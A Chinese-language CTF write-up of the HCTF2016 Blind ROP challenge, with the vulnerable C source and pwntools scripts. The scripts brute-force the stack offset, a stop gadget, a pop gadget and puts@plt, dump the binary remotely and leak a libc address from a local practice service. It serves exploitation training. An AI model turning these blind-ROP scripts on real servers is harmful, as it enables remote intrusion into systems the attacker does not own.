pwn HCTF2016 brop

在无源码无elf的情况下实现pwn 漏洞代码如下(攻击者无法看到)

#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);//读取用户输入的信息,这里存在栈溢出
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

编译

gcc -z noexecstack -fno-stack-protector  brop.c

checksec

python
>>> from pwn import *
>>> print ELF('a.out').checksec()
[*] '/root/sploitfun/brop/a.out'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

架起服务

ncat -vc ./a.out -kl 127.0.0.1 4000

BROP 原理及题目解析

BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX 和栈 canary 的 64-bit Linux。 实现这一攻击有两个必要条件:

  • 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它
  • 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。 查看offset(竟然用这种方法)
from pwn import *
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A" * i
buf_size = len(payload) - 1    #崩溃意味着我们覆盖到了返回地址,所以缓冲区应该是发送的字符数减一,即 buf(64)+ebp(8)=72
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
get_buffer_size()

结果

[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Closed connection to 127.0.0.1 port 4000
[*] buffer size: 72
stop gadget

在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下,当我们把返回地址覆盖后,程序有很大的几率会挂掉,因为所覆盖的地址可能并不是合法的,所以我们需要一个能够使程序正常返回的地址,称作 stop gadget,这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了:

from pwn import *
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A" * buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
get_stop_addr(72)

最后结果

[*] Closed connection to 127.0.0.1 port 4000
[*] stop address: 0x400565
common gadget

(gadget address:0x4007ba‬)

gdb-peda$ x/7i 0x4007ba
0x4007ba <__libc_csu_init+90>:	pop    rbx
0x4007bb <__libc_csu_init+91>:	pop    rbp
0x4007bc <__libc_csu_init+92>:	pop    r12
0x4007be <__libc_csu_init+94>:	pop    r13
0x4007c0 <__libc_csu_init+96>:	pop    r14
0x4007c2 <__libc_csu_init+98>:	pop    r15
0x4007c4 <__libc_csu_init+100>:	ret
gdb-peda$ x/7i 0x4007bb
0x4007bb <__libc_csu_init+91>:	pop    rbp
0x4007bc <__libc_csu_init+92>:	pop    r12
0x4007be <__libc_csu_init+94>:	pop    r13
0x4007c0 <__libc_csu_init+96>:	pop    r14
0x4007c2 <__libc_csu_init+98>:	pop    r15
0x4007c4 <__libc_csu_init+100>:	ret
0x4007c5:	nop
gdb-peda$ x/7i 0x4007bc
0x4007bc <__libc_csu_init+92>:	pop    r12
0x4007be <__libc_csu_init+94>:	pop    r13
0x4007c0 <__libc_csu_init+96>:	pop    r14
0x4007c2 <__libc_csu_init+98>:	pop    r15
0x4007c4 <__libc_csu_init+100>:	ret

有了 stop gadget,那些原本会导致程序崩溃的地址还是一样会导致崩溃,但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget,由于是 64 位程序,可以考虑使用通用 gadget

#!/usr/bin/env python
from pwn import *
import time
gardet = 0x400700
# gardet = 0x4007ba
# gardet = 0x400565
while True:
# context.log_level('error')
time.sleep(0.5)
print gardet
try:
gardet+=1
payload = "A" * 72
payload += p64(gardet)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(0x400565)
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
p.recvline(timeout=0.2)
p.close()
print 'first done' + str(gardet)
try:  # check
payload = "A" * 72
payload += p64(gardet)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
p.recvline(timeout=0.2)
p.close()
print 'second error' + str(gardet)
except:
print 'second done!!!!!!!!!!!!!!!!!!!!!!!!' + str(gardet)
exit()
except Exception as e:
print e

结果

[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Closed connection to 127.0.0.1 port 4000
first done4196282
[+] Opening connection to 127.0.0.1 on port 4000: Done
second done!!!!!!!!!!!!!!!!!!!!!!!!4196282

有了通用 gadget,就可以得到 pop rdi; ret 的地址了,即 gadget address + 9

puts@plt

plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。 这里我们使用 puts 函数来 dump 内存,比起 write,它只需要一个参数,很方便:

from pwn import *
def get_puts_plt(buf_size, stop_addr):
pop_rdi = 0x4007c3      # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload  = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
get_puts_plt(72,0x400565)

这里让 puts 打印出 0x400000 地址处的内容,因为这里通常是程序头的位置(关闭PIE),且前四个字符为 \x7fELF,方便进行验证。

[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] puts@plt address: 0x400567
[*] Closed connection to 127.0.0.1 port 4000

成功找到一个地址,它确实调用 puts,打印出了 \x7fELF,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。

gdb-peda$ x/3i 0x400570
0x400570 <puts@plt>:	jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
0x400576 <puts@plt+6>:	push   0x0
0x40057b <puts@plt+11>:	jmp    0x400560

这是由于上边的payload虽然执行puts,找出了ELF,但是puts上还有其他指令,但由于没有影响到程序运行,所以执行成功,所以打印出了不太准确的puts地址

remote dump

有了 puts,有了 gadget,就可以着手 dump 程序了:

from pwn import *
def dump_memory(buf_size, stop_addr, puts_plt, start_addr, end_addr):
pop_rdi = 0x4007c3  # pop rdi; ret
result = ""
while start_addr < end_addr:
# print result.encode('hex')
sleep(0.1)
payload = "A" * buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1)  # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr, (data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
with open("code.bin", "wb") as f:
f.write(result)
f.close()
return result
dump_memory(72, 0x400565, 0x400570, 0x400000, 0x401000)

使用r2打开这个文件

r2 -B 0x400000 code.bin
-- In visual mode press 'c' to toggle the cursor mode. Use tab to navigate
[0x004005d0]> pd 14 @ 0x400567
::::   0x00400567      25a40a2000     and eax, 0x200aa4
::::   0x0040056c      0f1f4000       nop dword [rax]
::::   0x00400570      ff25a20a2000   jmp qword [reloc.puts]      ; [0x601018:8]=0
::::   0x00400576      6800000000     push 0
`====< 0x0040057b      e9e0ffffff     jmp 0x400560
:::   0x00400580      ff259a0a2000   jmp qword [reloc.setbuf]    ; [0x601020:8]=0
:::   0x00400586      6801000000     push 1                      ; 1
`===< 0x0040058b      e9d0ffffff     jmp 0x400560
::   0x00400590      ff25920a2000   jmp qword [reloc.read]      ; [0x601028:8]=0
::   0x00400596      6802000000     push 2                      ; 2
`==< 0x0040059b      e9c0ffffff     jmp 0x400560
:   0x004005a0      ff258a0a2000   jmp qword [reloc.__libc_start_main] ; [0x601030:8]=0
:   0x004005a6      6803000000     push 3                      ; 3
`=< 0x004005ab      e9b0ffffff     jmp 0x400560
[0x004005d0]> pd 14 @ 0x400570
::::   0x00400570      ff25a20a2000   jmp qword [reloc.puts]      ; [0x601018:8]=0
::::   0x00400576      6800000000     push 0
`====< 0x0040057b      e9e0ffffff     jmp 0x400560
:::   0x00400580      ff259a0a2000   jmp qword [reloc.setbuf]    ; [0x601020:8]=0
:::   0x00400586      6801000000     push 1                      ; 1
`===< 0x0040058b      e9d0ffffff     jmp 0x400560
::   0x00400590      ff25920a2000   jmp qword [reloc.read]      ; [0x601028:8]=0
::   0x00400596      6802000000     push 2                      ; 2
`==< 0x0040059b      e9c0ffffff     jmp 0x400560
:   0x004005a0      ff258a0a2000   jmp qword [reloc.__libc_start_main] ; [0x601030:8]=0
:   0x004005a6      6803000000     push 3                      ; 3
`=< 0x004005ab      e9b0ffffff     jmp 0x400560
0x004005b0      ff25820a2000   jmp qword [reloc.strcmp]    ; [0x601038:8]=0
0x004005b6      6804000000     push 4                      ; 4

于是我们就得到了 puts@got 地址 0x00601018。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc,这些信息可能会有用。 查找puts中got的地址

from pwn import *
def get_puts_addr(buf_size, stop_addr, puts_plt, puts_got):
pop_rdi  = 0x4007c3
payload  = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
get_puts_addr(72, 0x400565, 0x400570, 0x601018)

结果

[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] puts address: 0x7ffff7a7d660
[*] Closed connection to 127.0.0.1 port 4000